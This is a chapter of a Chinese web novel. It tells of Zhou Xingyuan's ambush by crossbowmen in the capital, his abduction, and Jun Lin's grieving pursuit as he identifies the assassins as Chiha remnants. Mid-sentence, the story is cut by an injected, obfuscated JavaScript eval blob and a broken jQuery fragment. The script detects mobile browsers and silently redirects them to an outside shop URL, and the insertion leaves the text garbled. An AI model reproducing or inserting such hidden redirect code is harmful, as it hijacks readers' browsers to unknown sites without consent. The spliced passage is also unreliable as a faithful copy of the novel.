刺杀发生在周行远回京述职的路上。
那天他从通州码头下船,只带了两个随从,走的是通往正阳门的官道。马车行至正阳门大街与一条小巷的交叉口时,车夫听到弓弦响。不是猎弓,是弩机。三把弩机同时从巷口两侧的屋顶上发射,铁箭头穿透车厢木板,钉进车厢内壁。车夫被一箭射中肩膀,从车辕上滚下去。两匹马受惊人立而起,车厢侧翻在青石板上,轮子朝天打着空转。
周行远在车厢翻倒的前一瞬已经拔出了匕首,他从侧翻的车厢里滚出来,左肩着地,借势滚到街边石狮后面。他低头看了一眼左臂,左臂还能动,箭没有伤到骨头。但第二波弩箭紧跟着来了,这次射的是街面,封他的退路。他从箭矢的落点分布判断,屋顶上至少有三个人,都是受过训练的弩手,知道怎么封锁移动路线。
他把匕首咬在嘴里,双手攀住石狮的底座,翻身跃上石狮后背,借力跳起来抓住临街铺面的屋檐,一个引体向上翻上了屋顶。弩手显然没有预料到他会反冲,队形在屋顶上出现了一瞬的混乱。这一瞬的混乱足够他近了第一个弩手的身,他右手拔出嘴里的匕首横切弩手手腕,弩机脱手砸在瓦片上,弩手还没发出惨叫就被他一肘击在下颌,整个人从屋顶滚下去摔在街上。
剩下两个弩手同时丢下弩机拔刀朝他扑来,他侧身躲过第一刀,刀刃擦过他右肋,划开一道半寸深的口子。他没有躲第二刀,而是用匕首格开之后直接切入对方中门,匕首捅进第二个弩手的大腿根部,那人的惨叫声在夜色里传出很远。最后一个弩手见势不妙转身想跑,被周行远追上,用刀柄敲在颈椎上,扑倒在瓦片上不动了。
血顺着右肋的伤口往下淌,浸湿了他的腰带。他撕了一条袖子扎紧伤口,单手撑着膝盖喘了几口气。然后他意识到一个问题,太安静了。这条街在正阳门大街旁边,平时就算宵禁也该有更夫巡逻,再不济街坊被惨叫声惊醒也该有人点灯。但没有,整条街一片漆黑,街口更夫的梯子歪倒在地上,更夫不见了。这不是随机劫道,是提前布好的伏击圈,有人在刺杀之前就买通了更夫、封锁了整条街。
他需要马上离开这里,但右肋的伤口比他预想的更严重,那一刀切得很深,失血正在让他的手指开始发麻。他撑着墙壁站起来,沿着屋顶往街尾走。走到街尾时脚下的瓦片忽然碎裂,整个人从屋顶摔了下去,后背砸在青石板上,右肋的伤口被地面撞击后血流得更快了。他咬着牙站起来,匕首仍握在手里,但手指已经开始不受控制地发抖。他拖着匕首往巷子深处走,地面留下断续的血迹。
失血过多的眩晕开始侵袭他的意识,他靠在巷子尽头的一扇木门上,手里握着匕首,刀刃上还滴着第二个弩手的血。他想用尽最后的清醒意识去摸怀里的石子,那枚从神殿就揣着的旧石子,但太累了,他的嘴唇动了动,无声地念了一个名字。
然后他闭上了眼睛。
骡马市联络处,君临正坐在议事厅长桌旁边翻看乌图的练习本。他已经翻到了第七册中段,手指忽然停住,练习本从手中滑落,啪嗒一声砸在桌上。方秀抬头看他,发现他淡金色的眼睛瞬间亮得刺眼,整个人从条凳上站起来,动作太快,条凳往后翻倒在地上发出沉闷的撞击声。
“周行远的心跳停了,不是变慢,是停了。”
他的声音还是那种汇报数据的平稳调子,但语速比平时快了近一倍,气息也完全失去了控制。方秀把账册啪地合上,站起来就往外走,让乌图立刻去备马,她去找马济调都察院的差役。君临已经冲出了联络处大门,银发扣在夜色里划出一道极细的银光,转瞬消失在正阳门方向。
正阳门大街上一片漆黑,整条街没有一家点灯,君临在黑暗中不需要光,他能感知每一个人的心跳,但此刻他感知不到周行远的心跳。他站在翻倒的马车旁边,低头看着地上的血,血还没有干,是刚流的,他蹲下来用手指沾了一点血放到嘴里尝了尝,是周行远的血,血里的盐分和皂角气味混在一起,在舌面上留下微凉的铁锈味。他起身沿着血迹往巷子深处走,心跳快得几乎要冲破胸膛,但脑子里还在机械性地计算着时间:人类失血超过一定程度,心跳就会停止。
他在巷子尽头找到了匕首和银发扣。
君临把匕首捡起来,握着匕首的手在发抖,刃尖上的血沿着刀脊往下淌,滴在青石板上。他的感知范围在瞬间拉到了最大,覆盖了整个京城所有的心跳,没有一个是周行远的节奏。蓟州没有,幽州没有,通州也没有,他不在任何地方。
方秀带着人赶到时看到了她没见过的一幕,君临站在巷子尽头,一手握着匕首,面无表情,但眼泪正从他淡金色的眼睛里不间断地往下淌,顺着下颌滴在衣领上,衣领已经被浸透了。他脸上没有任何表情,没有皱眉,没有咬唇,眼泪不受控制地流。他是神,不会哭。但他现在在哭,他自己也不知道自己在哭,因为从来没有人教过他“哭”这个词。
马济从都察院调来的差役举着火把把整条街搜了一遍,刺客留了三具尸体,都是生面孔,身上没有任何身份标记,弩机上没有编号,衣服是最普通的粗布短打,看不出任何门派或组织特征。但其中一个刺客的手腕上有一道旧刀疤,疤痕的纹路是草原弯刀特有的锯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717781|208550||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
齿状切割痕。马济蹲下来把那个刺客的手腕翻过来给君临看,问是不是草原人。
君临低头看着那道刀疤,他的感知正在疯狂运转,每一个细节都被放大到极致。他几乎是一瞬间就给出了答案:“是,赤哈残部的人。左心室壁比正常厚约十分之一,长期在马背上颠簸导致心肌代偿性肥厚。我在北境感知过这种心跳,赤哈残部的骑兵,从北境逃散之后被人重新收编。不是铁力勒,不是白山部。有人在草原上重新组织赤哈残部,给了他们弩机,给了他们指令,刺杀周行远的人,和沈恪织坊里的草原商队是同一批人。”他说话时眼泪还在流,声音依然平稳得可怕,这种诡异的对比让方秀后背发凉。
方秀没有说话,她掏出账册翻了翻,找到之前程愈从常州发回来的证据清单,赤哈残部遗散之后有一批骑兵去向不明,格尔丹死前提过这批人,说他师父当年造的弩机有一批被赤哈残部带走了,下落不明。这批人和沈恪交易,盯上了周行远。
马济蹲在那个刺客尸体旁边,从怀里掏出一张干净的棉布帕子,把刺客手腕上的刀疤拓印下来,又从靴筒里抽出匕首,把刺客衣领内侧的暗纹也割下来一片收好。他站起来说赤哈残部重新集结的情报必须立刻通知北境,沈恪案和这次刺杀并案调查,都察院今晚就连夜提审沈恪。但君临没有在听他说话,他的感知正锁在某个方向上,巷子深处有另一条血迹,不是周行远的,是另一个人的。血量很少,滴了几步就停了。但血迹旁边有半个脚印,鞋底的纹路不是中原布靴的千层底,是草原皮靴的粗麻绳纳底。
周行远被人带走了,对方不止一个人,有备用的撤退路线,有马车接应。这辆马车正沿着城西的小路出城,车轮在泥土路上留下新鲜的碾压痕迹。君临顺着那条血迹往巷子更深处走去,那里有一扇被撞开的木门,门后是一条通往城外的废弃驿道。驿道上积了厚厚的灰,灰上有两道极清晰的车辙印,车辙很深,说明车上载了人,载的正是周行远。
君临站在驿道入口处,感知正在以最高的精度追逐那辆渐行渐远的马车。他的声音还是那样平稳,但每个字之间的间隔不再均等,气息在节奏里出现了一丝微不可查的颤抖:“我知道他们往哪个方向去了,我能追踪到他们。赤哈残部后面还有别人,徐昌的旧部换了标记还在继续运作,他们想报复他。”他抬起手擦了一下脸上还在不断淌下的泪水,低头看了一眼自己被泪水浸湿的手背,又用拇指把那点泪痕在虎口处碾干了,“我从来没有失算过,但这次我没有算到他们会直接在京城动手。这是我的失职,我会把他找回来。无论多远,无论多久。”